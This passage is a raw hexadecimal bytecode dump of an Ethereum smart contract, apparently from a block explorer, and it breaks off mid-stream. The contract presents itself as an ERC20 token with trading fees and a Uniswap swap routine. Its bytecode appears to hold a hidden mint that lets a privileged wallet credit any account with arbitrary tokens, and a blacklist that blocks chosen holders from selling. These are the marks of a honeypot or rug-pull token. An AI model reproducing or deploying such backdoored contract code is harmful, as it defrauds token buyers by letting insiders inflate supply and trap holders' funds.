05180910390f35b3480156109fc57600080fd5b50610a176004803603810190610a1291906129ed565b61164c565b005b348015610a2557600080fd5b50610a2e61179e565b604051610a3b9190612ebe565b60405180910390f35b348015610a5057600080fd5b50610a6b6004803603810190610a669190612c47565b6117c4565b005b606060018054610a7c906132ed565b80601f0160208091040260200160405190810160405280929190818152602001828054610aa8906132ed565b8015610af55780601f10610aca57610100808354040283529160200191610af5565b820191906000526020600020905b815481529060010190602001808311610ad857829003601f168201915b5050505050905090565b6000610b13610b0c6118e6565b84846118ee565b6001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601554905090565b6000610b80848484611ab9565b50610c4284610b8d6118e6565b610c3d856040518060600160405280602881526020016136a060289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610bf36118e6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec89092919063ffffffff16565b6118ee565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610cb0610c9f7f0000000000000000000000000000000000000000000000000000000000000000610fd6565b601554611f2c90919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b6000610d95610cf96118e6565b84610d908560066000610d0a6118e6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188890919063ffffffff16565b6118ee565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b601860159054906101000a900460ff1681565b60105481565b610de06118e6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6490612fb1565b60405180910390fd5b60005b83839050811015610f0c578160086000868685818110610e9357610e926133f5565b5b9050602002016020810190610ea891906129ed565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f049061331f565b915050610e70565b50505050565b610f1a6118e6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9e90612fb1565b60405180910390fd5b81600e8190555080600f81905550610fcc600f54600e5461188890919063ffffffff16565b6013819055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6110276118e6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ab90612fb1565b60405180910390fd5b60005b838390508110156111535781600760008686858181106110da576110d96133f5565b5b90506020020160208101906110ef91906129ed565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061114b9061331f565b9150506110b7565b50505050565b611161611f76565b600082600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111ae91906130f6565b905080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b60135481565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054611257906132ed565b80601f0160208091040260200160405190810160405280929190818152602001828054611283906132ed565b80156112d05780601f106112a5576101008083540402835291602001916112d0565b820191906000526020600020905b8154815290600101906020018083116112b357829003601f168201915b5050505050905090565b6000601654905090565b60145481565b60006113ad6112f76118e6565b846113a8856040518060600160405280602581526020016136c860259139600660006113216118e6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec89092919063ffffffff16565b6118ee565b6001905092915050565b60115481565b60006113d16113ca6118e6565b8484611ab9565b506001905092915050565b600d5481565b6113ea6118e6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611477576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146e90612fb1565b60405180910390fd5b80601860156101000a81548160ff02191690831515021790555050565b600c5481565b6114a2611f76565b60005b828290508110156115415783600b60008585858181106114c8576114c76133f5565b5b90506020020160208101906114dd91906129ed565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806115399061331f565b9150506114a5565b50505050565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b60086020528060005260406000206000915054906101000a900460ff1681565b600f5481565b60165481565b600b6020528060005260406000206000915054906101000a900460ff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60125481565b6116546118e6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d890612fb1565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6117cc6118e6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611859576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185090612fb1565b60405180910390fd5b81600c8190555080600d8190555061187e600d54600c5461188890919063ffffffff16565b6012819055505050565b600080828461189791906130f6565b9050838110156118dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d390612f71565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561195e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195590612ff1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c590612f51565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611aac9190613011565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2190612fd1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9190612f31565b60405180910390fd5b601860149054906101000a900460ff1615611bc157611bba848484611fd2565b9050611ec1565b6000611bcc30610fd6565b905060006016548210159050808015611bf25750601860149054906101000a900460ff16155b8015611c485750600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c605750601860159054906101000a900460ff165b15611c6f57611c6e826121a5565b5b611cc184600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2c90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611da75750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611dbb57611db68787876122ab565b611dbd565b845b9050611e1181600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188890919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611eb19190613011565b60405180910390a3600193505050505b9392505050565b6000838311158290611f10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f079190612f0f565b60405180910390fd5b5060008385611f1f91906131d7565b9050809150509392505050565b6000611f6e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ec8565b905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fd057600080fd5b565b600061205d826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec89092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120f282600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188890919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516121929190613011565b60405180910390a3600190509392505050565b6001601860146101000a81548160ff02191690831515021790555060008190506121ce8161257b565b6000479050600060145490506000612203826121f5601154866127d090919063ffffffff16565b61284b90919063ffffffff16565b9050600061221a8285611f2c90919063ffffffff16565b9050600081111561225257612251600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612895565b5b600082111561228857612287600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612895565b5b50505050506000601860146101000a81548160ff02191690831515021790555050565b60008060009050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661235b57600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561235a57600080fd5b5b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123dc576123d560646123c7601254866127d090919063ffffffff16565b61284b90919063ffffffff16565b905061245a565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612459576124566064612448601354866127d090919063ffffffff16565b61284b90919063ffffffff16565b90505b5b600081111561255e576124b581600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188890919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125559190613011565b60405180910390a35b6125718184611f2c90919063ffffffff16565b9150509392505050565b6000600267ffffffffffffffff81111561259857612597613424565b5b6040519080825280602002602001820160405280156125c65781602001602082028036833780820191505090505b50905030816000815181106125de576125dd6133f5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561268057600080fd5b505afa158015612694573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126b89190612a1a565b816001815181106126cc576126cb6133f5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061273330601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118ee565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161279795949392919061302c565b600060405180830381600087803b1580156127b157600080fd5b505af19250505080156127c2575060015b6127cb576127cc565b5b5050565b6000808314156127e35760009050612845565b600082846127f1919061317d565b9050828482612800919061314c565b14612840576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283790612f91565b60405180910390fd5b809150505b92915050565b600061288d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128e0565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156128db573d6000803e3d6000fd5b505050565b60008083118290612927576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291e9190612f0f565b60405180910390fd5b5060008385612936919061314c565b9050809150509392505050565b6000813590506129528161365a565b92915050565b6000815190506129678161365a565b92915050565b60008083601f84011261298357612982613458565b5b8235905067ffffffffffffffff8111156129a05761299f613453565b5b6020830191508360208202830111156129bc576129bb61345d565b5b9250929050565b6000813590506129d281613671565b92915050565b6000813590506129e781613688565b92915050565b600060208284031215612a0357612a02613467565b5b6000612a1184828501612943565b91505092915050565b600060208284031215612a3057612a2f613467565b5b6000612a3e84828501612958565b91505092915050565b60008060408385031215612a5e57612a5d613467565b5b6000612a6c85828601612943565b9250506020612a7d85828601612943565b9150509250929050565b600080600060608486031215612aa057612a9f613467565b5b6000612aae86828701612943565b9350506020612abf86828701612943565b9250506040612ad0868287016129d8565b9150509250925092565b60008060408385031215612af157612af0613467565b5b6000612aff85828601612943565b9250506020612b10858286016129d8565b9150509250929050565b600080600060408486031215612b3357612b32613467565b5b600084013567ffffffffffffffff811115612b5157612b50613462565b5b612b5d8682870161296d565b93509350506020612b70868287016129c3565b9150509250925092565b600060208284031215612b9057612b8f613467565b5b6000612b9e848285016129c3565b91505092915050565b600080600060408486031215612bc057612bbf613467565b5b6000612bce868287016129c3565b935050602084013567ffffffffffffffff811115612bef57612bee613462565b5b612bfb8682870161296d565b92509250509250925092565b60008060408385031215612c1e57612c1d613467565b5b6000612c2c858286016129d8565b9250506020612c3d85828601612943565b9150509250929050565b60008060408385031215612c5e57612c5d613467565b5b6000612c6c858286016129d8565b9250506020612c7d858286016129d8565b9150509250929050565b6000612c938383612cae565b60208301905092915050565b612ca88161321d565b82525050565b612cb78161320b565b82525050565b612cc68161320b565b82525050565b6000612cd7826130b1565b612ce181856130d4565b9350612cec836130a1565b8060005b83811015612d1d578151612d048882612c87565b9750612d0f836130c7565b925050600181019050612cf0565b5085935050505092915050565b612d338161322f565b82525050565b612d4281613272565b82525050565b612d5181613284565b82525050565b6000612d62826130bc565b612d6c81856130e5565b9350612d7c8185602086016132ba565b612d858161346c565b840191505092915050565b6000612d9d6023836130e5565b9150612da88261347d565b604082019050919050565b6000612dc06022836130e5565b9150612dcb826134cc565b604082019050919050565b6000612de3601b836130e5565b9150612dee8261351b565b602082019050919050565b6000612e066021836130e5565b9150612e1182613544565b604082019050919050565b6000612e296020836130e5565b9150612e3482613593565b602082019050919050565b6000612e4c6025836130e5565b9150612e57826135bc565b604082019050919050565b6000612e6f6024836130e5565b9150612e7a8261360b565b604082019050919050565b612e8e8161325b565b82525050565b612e9d81613265565b82525050565b6000602082019050612eb86000830184612cbd565b92915050565b6000602082019050612ed36000830184612c9f565b92915050565b6000602082019050612eee6000830184612d2a565b92915050565b6000602082019050612f096000830184612d39565b92915050565b60006020820190508181036000830152612f298184612d57565b905092915050565b60006020820190508181036000830152612f4a81612d90565b9050919050565b60006020820190508181036000830152612f6a81612db3565b9050919050565b60006020820190508181036000830152612f8a81612dd6565b9050919050565b60006020820190508181036000830152612faa81612df9565b9050919050565b60006020820190508181036000830152612fca81612e1c565b9050919050565b60006020820190508181036000830152612fea81612e3f565b9050919050565b6000602082019050818103600083015261300a81612e62565b9050919050565b60006020820190506130266000830184612e85565b92915050565b600060a0820190506130416000830188612e85565b61304e6020830187612d48565b81810360408301526130608186612ccc565b905061306f6060830185612cbd565b61307c6080830184612e85565b9695505050505050565b600060208201905061309b6000830184612e94565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131018261325b565b915061310c8361325b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561314157613140613368565b5b828201905092915050565b60006131578261325b565b91506131628361325b565b92508261317257613171613397565b5b828204905092915050565b60006131888261325b565b91506131938361325b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131cc576131cb613368565b5b828202905092915050565b60006131e28261325b565b91506131ed8361325b565b925082821015613200576131ff613368565b5b828203905092915050565b60006132168261323b565b9050919050565b60006132288261323b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061327d82613296565b9050919050565b600061328f8261325b565b9050919050565b60006132a1826132a8565b9050919050565b60006132b38261323b565b9050919050565b60005b838110156132d85780820151818401526020810190506132bd565b838111156132e7576000848401525b50505050565b6000600282049050600182168061330557607f821691505b60208210811415613319576133186133c6565b5b50919050565b600061332a8261325b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561335d5761335c613368565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6136638161320b565b811461366e57600080fd5b50565b61367a8161322f565b811461368557600080fd5b50565b6136918161325b565b811461369c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e7f12ce840d1eb3d71650e4325e578ac5b44c0872cf8e5fb86d1c8c862ad6adc64736f6c63430008070033
Deployed Bytecode
0x6080604052600436106102605760003560e01c80638da5cb5b11610144578063c816841b116100b6578063d4868eee1161007a578063d4868eee1461094b578063dd62ed3e14610988578063f0cd1dac146109c5578063f2fde38b146109f0578063f50a683214610a19578063fb0ecfa414610a4457610267565b8063c816841b14610862578063c86079521461088d578063c867d60b146108b8578063cab03471146108f5578063d2d7ad831461092057610267565b8063a83f53a711610108578063a83f53a714610752578063a9059cbb1461077d578063c469b6dd146107ba578063c49b9a80146107e5578063c5d241891461080e578063c76c07741461083957610267565b80638da5cb5b1461066957806395d89b4114610694578063a073d37f146106bf578063a08e671f146106ea578063a457c2d71461071557610267565b806339509351116101dd578063667b4bd0116101a1578063667b4bd01461054957806370a0823114610572578063715266fe146105af5780637ddd8dc2146105d857806382eefb43146106015780638b42507f1461062c57610267565b806339509351146104505780633ecad2711461048d5780634a74bb02146104ca57806361a23c69146104f55780636249faf11461052057610267565b806323b872dd1161022457806323b872dd1461035557806327c8f835146103925780632b112e49146103bd578063313ce567146103e85780633345611e1461041357610267565b806306fdde031461026c578063095ea7b3146102975780631245e347146102d45780631694505e146102ff57806318160ddd1461032a57610267565b3661026757005b600080fd5b34801561027857600080fd5b50610281610a6d565b60405161028e9190612f0f565b60405180910390f35b3480156102a357600080fd5b506102be60048036038101906102b99190612ada565b610aff565b6040516102cb9190612ed9565b60405180910390f35b3480156102e057600080fd5b506102e9610b1d565b6040516102f69190612ebe565b60405180910390f35b34801561030b57600080fd5b50610314610b43565b6040516103219190612ef4565b60405180910390f35b34801561033657600080fd5b5061033f610b69565b60405161034c9190613011565b60405180910390f35b34801561036157600080fd5b5061037c60048036038101906103779190612a87565b610b73565b6040516103899190612ed9565b60405180910390f35b34801561039e57600080fd5b506103a7610c4d565b6040516103b49190612ea3565b60405180910390f35b3480156103c957600080fd5b506103d2610c71565b6040516103df9190613011565b60405180910390f35b3480156103f457600080fd5b506103fd610cb5565b60405161040a9190613086565b60405180910390f35b34801561041f57600080fd5b5061043a600480360381019061043591906129ed565b610ccc565b6040516104479190612ed9565b60405180910390f35b34801561045c57600080fd5b5061047760048036038101906104729190612ada565b610cec565b6040516104849190612ed9565b60405180910390f35b34801561049957600080fd5b506104b460048036038101906104af91906129ed565b610d9f565b6040516104c19190612ed9565b60405180910390f35b3480156104d657600080fd5b506104df610dbf565b6040516104ec9190612ed9565b60405180910390f35b34801561050157600080fd5b5061050a610dd2565b6040516105179190613011565b60405180910390f35b34801561052c57600080fd5b5061054760048036038101906105429190612b1a565b610dd8565b005b34801561055557600080fd5b50610570600480360381019061056b9190612c47565b610f12565b005b34801561057e57600080fd5b50610599600480360381019061059491906129ed565b610fd6565b6040516105a69190613011565b60405180910390f35b3480156105bb57600080fd5b506105d660048036038101906105d19190612b1a565b61101f565b005b3480156105e457600080fd5b506105ff60048036038101906105fa9190612c07565b611159565b005b34801561060d57600080fd5b506106166111f9565b6040516106239190613011565b60405180910390f35b34801561063857600080fd5b50610653600480360381019061064e91906129ed565b6111ff565b6040516106609190612ed9565b60405180910390f35b34801561067557600080fd5b5061067e61121f565b60405161068b9190612ea3565b60405180910390f35b3480156106a057600080fd5b506106a9611248565b6040516106b69190612f0f565b60405180910390f35b3480156106cb57600080fd5b506106d46112da565b6040516106e19190613011565b60405180910390f35b3480156106f657600080fd5b506106ff6112e4565b60405161070c9190613011565b60405180910390f35b34801561072157600080fd5b5061073c60048036038101906107379190612ada565b6112ea565b6040516107499190612ed9565b60405180910390f35b34801561075e57600080fd5b506107676113b7565b6040516107749190613011565b60405180910390f35b34801561078957600080fd5b506107a4600480360381019061079f9190612ada565b6113bd565b6040516107b19190612ed9565b60405180910390f35b3480156107c657600080fd5b506107cf6113dc565b6040516107dc9190613011565b60405180910390f35b3480156107f157600080fd5b5061080c60048036038101906108079190612b7a565b6113e2565b005b34801561081a57600080fd5b50610823611494565b6040516108309190613011565b60405180910390f35b34801561084557600080fd5b50610860600480360381019061085b9190612ba7565b61149a565b005b34801561086e57600080fd5b50610877611547565b6040516108849190612ea3565b60405180910390f35b34801561089957600080fd5b506108a261156d565b6040516108af9190613011565b60405180910390f35b3480156108c457600080fd5b506108df60048036038101906108da91906129ed565b611573565b6040516108ec9190612ed9565b60405180910390f35b34801561090157600080fd5b5061090a611593565b6040516109179190613011565b60405180910390f35b34801561092c57600080fd5b50610935611599565b6040516109429190613011565b60405180910390f35b34801561095757600080fd5b50610972600480360381019061096d91906129ed565b61159f565b60405161097f9190612ed9565b60405180910390f35b34801561099457600080fd5b506109af60048036038101906109aa9190612a47565b6115bf565b6040516109bc9190613011565b60405180910390f35b3480156109d157600080fd5b506109da611646565b6040516109e79190613011565b60405180910390f35b3480156109fc57600080fd5b50610a176004803603810190610a1291906129ed565b61164c565b005b348015610a2557600080fd5b50610a2e61179e565b604051610a3b9190612ebe565b60405180910390f35b348015610a5057600080fd5b50610a6b6004803603810190610a669190612c47565b6117c4565b005b606060018054610a7c906132ed565b80601f0160208091040260200160405190810160405280929190818152602001828054610aa8906132ed565b8015610af55780601f10610aca57610100808354040283529160200191610af5565b820191906000526020600020905b815481529060010190602001808311610ad857829003601f168201915b5050505050905090565b6000610b13610b0c6118e6565b84846118ee565b6001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601554905090565b6000610b80848484611ab9565b50610c4284610b8d6118e6565b610c3d856040518060600160405280602881526020016136a060289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610bf36118e6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec89092919063ffffffff16565b6118ee565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000610cb0610c9f7f000000000000000000000000000000000000000000000000000000000000dead610fd6565b601554611f2c90919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b6000610d95610cf96118e6565b84610d908560066000610d0a6118e6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188890919063ffffffff16565b6118ee565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b601860159054906101000a900460ff1681565b60105481565b610de06118e6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6490612fb1565b60405180910390fd5b60005b83839050811015610f0c578160086000868685818110610e9357610e926133f5565b5b9050602002016020810190610ea891906129ed565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f049061331f565b915050610e70565b50505050565b610f1a6118e6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9e90612fb1565b60405180910390fd5b81600e8190555080600f81905550610fcc600f54600e5461188890919063ffffffff16565b6013819055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6110276118e6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ab90612fb1565b60405180910390fd5b60005b838390508110156111535781600760008686858181106110da576110d96133f5565b5b90506020020160208101906110ef91906129ed565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061114b9061331f565b9150506110b7565b50505050565b611161611f76565b600082600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111ae91906130f6565b905080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b60135481565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054611257906132ed565b80601f0160208091040260200160405190810160405280929190818152602001828054611283906132ed565b80156112d05780601f106112a5576101008083540402835291602001916112d0565b820191906000526020600020905b8154815290600101906020018083116112b357829003601f168201915b5050505050905090565b6000601654905090565b60145481565b60006113ad6112f76118e6565b846113a8856040518060600160405280602581526020016136c860259139600660006113216118e6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec89092919063ffffffff